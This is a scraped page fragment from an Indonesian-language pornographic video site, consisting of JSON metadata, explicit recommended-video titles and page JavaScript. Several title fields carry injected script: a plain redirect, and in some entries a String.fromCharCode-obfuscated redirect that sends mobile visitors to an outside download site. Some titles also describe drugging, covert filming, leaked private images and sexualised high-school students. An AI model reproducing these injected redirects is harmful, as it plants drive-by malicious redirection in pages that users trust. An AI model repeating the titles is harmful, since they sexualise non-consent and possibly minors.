</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Pacar nakal yang diikat dan didisiplinkan beserta sahabatnya</script>
Pacar nakal yang diikat dan didisiplinkan beserta sahabatnya","site_id":0,"video_url":"https://2605.v155p.com/20260706/eJtOtq9y/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMjg3YjkwZTRjMTViZDgyODZkMDNkZmJlZWQ5OTUyNjkuanBn.cache","duration":"50:41","actor":[],"lastmod":1783766805,"rating":"10.0","view_count":163,"description":"Bondage dan BDSM dengan pacarku yang nakal dan sahabatnya.","tag":["perbudakan","Perbudakan dan Dominasi","Pelatihan","pelacur","pacar jalang","Pacar perempuan","sahabat terbaik"],"site_url":"179632","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMjg3YjkwZTRjMTViZDgyODZkMDNkZmJlZWQ5OTUyNjkuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"捆绑调教骚逼女友和她的闺蜜","s_keywords":"捆绑调教骚逼女友和她的闺蜜","s_description":"Pacar nakal yang diikat dan didisiplinkan beserta sahabatnya","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjVkZTEzNzM0NjE4NWZjZGRlZDQ2ZTZiMjBjYzhiYWQuanBn.cache","vod_id":19135836,"title":"Menggunakan afrodisiak untuk membuat seorang wanita cantik berambut cokelat bertubuh mungil yang tinggal di rumah penuh sampah kehilangan kesadaran, kemudian menyiksa dan melatihnya. (Kitano Mai, FSBK-015)","lastmod":"2025-12-29","duration":"02:05:05","url":"/play/19135836.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmEwNDdiZDcwNTNhODI0MjlkODg0ODFmYzVhMDUyZjkuanBn.cache","vod_id":18958624,"title":"“Si Jalang Kontras Tertinggi Membongkar Rahasia” Seorang pramugari kelas atas dan materialistis dari maskapai penerbangan tertentu ternyata tidak sehat dan diam-diam difoto. Di pesawat, dia adalah dewi yang berkualitas tinggi, lembut, dan elegan, tetapi secara pribadi, dia menjadi jalang sugar daddy-nya tanpa batasan dan berbagai bentuk pelatihan (49).","lastmod":"2025-12-14","duration":"00:02:14","url":"/play/18958624.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTgvMjY4YjhiODk3MTQ0ZDhmMzhiZTJlY2ZjYTIxZGNiOGEuanBn.cache","vod_id":19029648,"title":"pacar muda","lastmod":"2025-04-18","duration":"09:50","url":"/play/19029648.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTZkZGJkZDIwYzM0ZjQyZTA5ZWE4ZjU1NWViZjlkMGIuanBn.cache","vod_id":18996277,"title":"[Pacar Berambut Panjang Elegan dengan Stoking Hitam] Seks Oral dengan Saudara Laki-Laki Gemuk, Seks Anal di Sofa, Ejakulasi Posisi Misionaris","lastmod":"2025-12-14","duration":"53:53","url":"/play/18996277.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzViMDYyMThiODBjYmQxMTI0ZDk5NDBiZmY5MzY4NjMuanBn.cache","vod_id":18993297,"title":"[FH Creek dan sahabatnya melakukan hubungan seks bertiga] Seks tanpa kondom dan ejakulasi di dalam adalah hal yang biasa.","lastmod":"2025-03-23","duration":"48:02","url":"/play/18993297.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDAwMGExM2QyNTc1MDkyOWE5ZmU2MmUwMGZiZGVjZWQuanBn.cache","vod_id":18951986,"title":"Seorang wanita dewasa yang menggoda - seorang wanita yang terluka karena cinta - bercerai dan memiliki anak, merayu para pelayan di KTV, apa adanya dan alami, dengan sosok yang membuat siapa pun jatuh ke pelukan wanita jalang ini!","lastmod":"2025-12-14","duration":"01:43:54","url":"/play/18951986.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MzAvNDNmOTU0NzkzYTk1MGIxN2NkYjEwYWViODhkN2FiMTIuanBn.cache","vod_id":19055199,"title":"Pacar dengan payudara besar, ejakulasi internal, godaan OK, Hanazuki Kanon, PPPE268","lastmod":"2025-09-29","duration":"01:55:21","url":"/play/19055199.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWU1NWM5ZjhhYjJlMmM1MDRhZGU5MmQzNjdiNjc5ZGUuanBn.cache","vod_id":18963244,"title":"91. Master Pelacur Kelas Atas \"Tuan Kucing\" ❤️ Mendisiplinkan Anggota Komite Olahraga Sekolah Menengah Swasta di Hangzhou, Dadanya Merah Karena Tertangkap Basah.","lastmod":"2025-12-14","duration":"00:25:19","url":"/play/18963244.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTBlZGI3MDhjMDg0YjM2NGE1ODIwMDdmOTUwY2FiZjUuanBn.cache","vod_id":18975535,"title":"Punya pacar bajingan bikin susah untuk tidak dipermainkan dan dihancurkan. Di kamar tidur, kami melakukan posisi 69, saling menjilat, dan setelah dilatih dengan penutup mulut, dia meniduri vagina saya sampai hampir hancur.","lastmod":"2025-12-14","duration":"01:20:09","url":"/play/18975535.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNThmY2VhYzUwYzVjNTM1MDgzZTNlOGY4NWQ1NDUwMzMuanBn.cache","vod_id":19165316,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Koleksi Foto Seks Oral Pacar Cina di Wajah","lastmod":"2026-07-11","duration":"21:28","url":"/play/19165316.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzk3ZWY2YjQyNjdiYjhkMjFjZjE5ZmQxMzhiZDNkZGQuanBn.cache","vod_id":18927483,"title":"Puisi × Pacar 2 - ShiikuxKanojo2","lastmod":"2025-12-14","duration":"00:14:27","url":"/play/18927483.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDgvNWNiNGJiNmE1NTVmNWE5NDc2MjQ3ZmViNDEyOTliYzEuanBn.cache","vod_id":19041992,"title":"Melatih seekor anjing betina berusia 95 tahun dalam sesi seks 3P yang melibatkan penjepit puting, penetrasi depan dan belakang, serta mencekik hingga mencapai orgasme.","lastmod":"2025-07-07","duration":"36:25","url":"/play/19041992.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjE0ZjYzYzM3NWZmOGYxZjIwZWQ4Zjg1NmY2YTk3OTcuanBn.cache","vod_id":18949194,"title":"Si cantik bermata besar: Ahhh~ Kakak, ayo, perkosa vagina jalang kecilku ini, kakak, ayo, biarkan aku menunjukkan vaginaku padamu, aku akan mengalami orgasme klitoris, aku buang air kecil sambil berdiri, dan darah menstruasiku mengalir keluar, luar biasa!","lastmod":"2025-03-22","duration":"01:18:08","url":"/play/18949194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWE1Nzc4MTA3MmQ1M2RlZGRmMjY5OGZjZjAyOTJmMzIuanBn.cache","vod_id":18956912,"title":"\"Bocoran Mengejutkan Teratas\" - Pemotretan pribadi Peach, istri yang berkulit putih dan seksi yang dikhianati, Musim 2 mengundang seorang pria lajang yang berkuasa untuk sesi pelatihan 3P dengan otomatisasi penuh dan kontras yang mencolok (9)","lastmod":"2025-12-14","duration":"00:03:02","url":"/play/18956912.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWUwNGM5ODQ4MmRmOWE1ZjNlMDEyM2UyZGY3OTljYWMuanBn.cache","vod_id":18949765,"title":"[Subtitle Bahasa Mandarin] XVSR-249 Pelatihan Orgasme Pertama - Bercinta untuk Kenikmatan - oleh Xiaoyao","lastmod":"2025-12-14","duration":"02:03:59","url":"/play/18949765.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjhjYjEyMDZlNjcwZmRhODc1YjM0ODM5ZTMxYjhlZTkuanBn.cache","vod_id":18954468,"title":"Paparan di puncaknya! Foto-foto pribadi selebriti internet kelas S yang memperlihatkan tubuh dan wajah mereka ▲ Berbagai paparan publik seks 3P dan pelatihan BDSM tanpa sensor file asli (18)","lastmod":"2025-12-14","duration":"00:00:56","url":"/play/18954468.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTlhZTQzYTViYjdkM2MzOWU3MmE0NWY5ODQwYzk4YjkuanBn.cache","vod_id":19022496,"title":"[Komentar AV] Penyiksaan Tanpa Cacat: Seri Dominasi Berkualitas Tinggi.","lastmod":"2025-03-24","duration":"07:07","url":"/play/19022496.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvN2Y2OGY3M2M1OTdhYjk1NGE4NTI5YWY3NjNjNjUzYTcuanBn.cache","vod_id":19161658,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Pada siang hari, pacar saya, karena frustrasi seksual, menanggalkan pakaiannya, menurunkan celana pacarnya, dan mulai masturbasi, ingin berhubungan seks_","lastmod":"2026-07-11","duration":"01:15:54","url":"/play/19161658.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvY2YzNDc5NzAyYTAzY2RjZmM5NDYxMWZlYTNhZjdhZTkuanBn.cache","vod_id":19161954,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Ukuran Hcup Tapi masih terus bertambah! Adik perempuan pacarku, Mao Horita, meskipun masih memakai celana katun, menggodaku dengan pakaian dalamnya. Mao Horita MOODYZ","lastmod":"2026-07-11","duration":"01:58:11","url":"/play/19161954.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTZmNDY2ZmFjNjk3ZTM1ZWJjMDE5NjIzNjFkMWJjMWUuanBn.cache","vod_id":18966057,"title":"Foto selfie pasangan SMA bocor~ Pacarnya masih junior~ Montok dan berbulu~ Sangat seksi~ Liburan akan segera tiba~ Dia memintaku untuk bercinta dengannya~ Tidak ada waktu untuk melepas pakaian dan celananya, jadi kami hanya membuka kaki dan mulai bercinta dengan keras!","lastmod":"2025-03-22","duration":"00:06:24","url":"/play/18966057.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTMvZTllNWM4ODY3OWViODBlYjUyZGNhZmRiZGE4YzNhZTguanBn.cache","vod_id":19057577,"title":"Ibu pacarku melihat kami berhubungan seks.","lastmod":"2025-10-12","duration":"41:58","url":"/play/19057577.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODc5Njc3MjcxMTNmMzM0YWE5YmU5MmY0ZjMwNWRkOWEuanBn.cache","vod_id":19005908,"title":"[HD Bahasa Mandarin] Pacarku pergi berlibur keluarga selama tiga hari, meninggalkan rumah kosong. Rekaman seks selama tiga hari dengan teman-teman pacarku.","lastmod":"2025-03-24","duration":"02:02:17","url":"/play/19005908.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZjk0OGZjZWIyOThlMzk1YWY1MTJlY2MyNGIyZDdjNWQuanBn.cache","vod_id":19166993,"title":"Aktris AV masokis, Ayaka Mochizuki, memiliki rekor pelatihan. (Mochizuki Ayaka Tite)","lastmod":"2026-07-11","duration":"02:27:15","url":"/play/19166993.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2RkYjVkYzNlMzMyMmMxMGJjNzJkZjNhZjVmM2RlNDAuanBn.cache","vod_id":18964982,"title":"\"Bocoran yang Mengejutkan ✅\" Rekaman pribadi istri jalang dan mesum master pelatihan terbaru [Yu Xuan] berbagai tindakan seks Bagian 2 ~ pelebaran, penyisipan benda asing, seks anal 3P, berbagai operasi ekstrem (14)","lastmod":"2025-03-22","duration":"00:02:10","url":"/play/18964982.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Pacar nakal yang diikat dan didisiplinkan beserta sahabatnya</script>',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}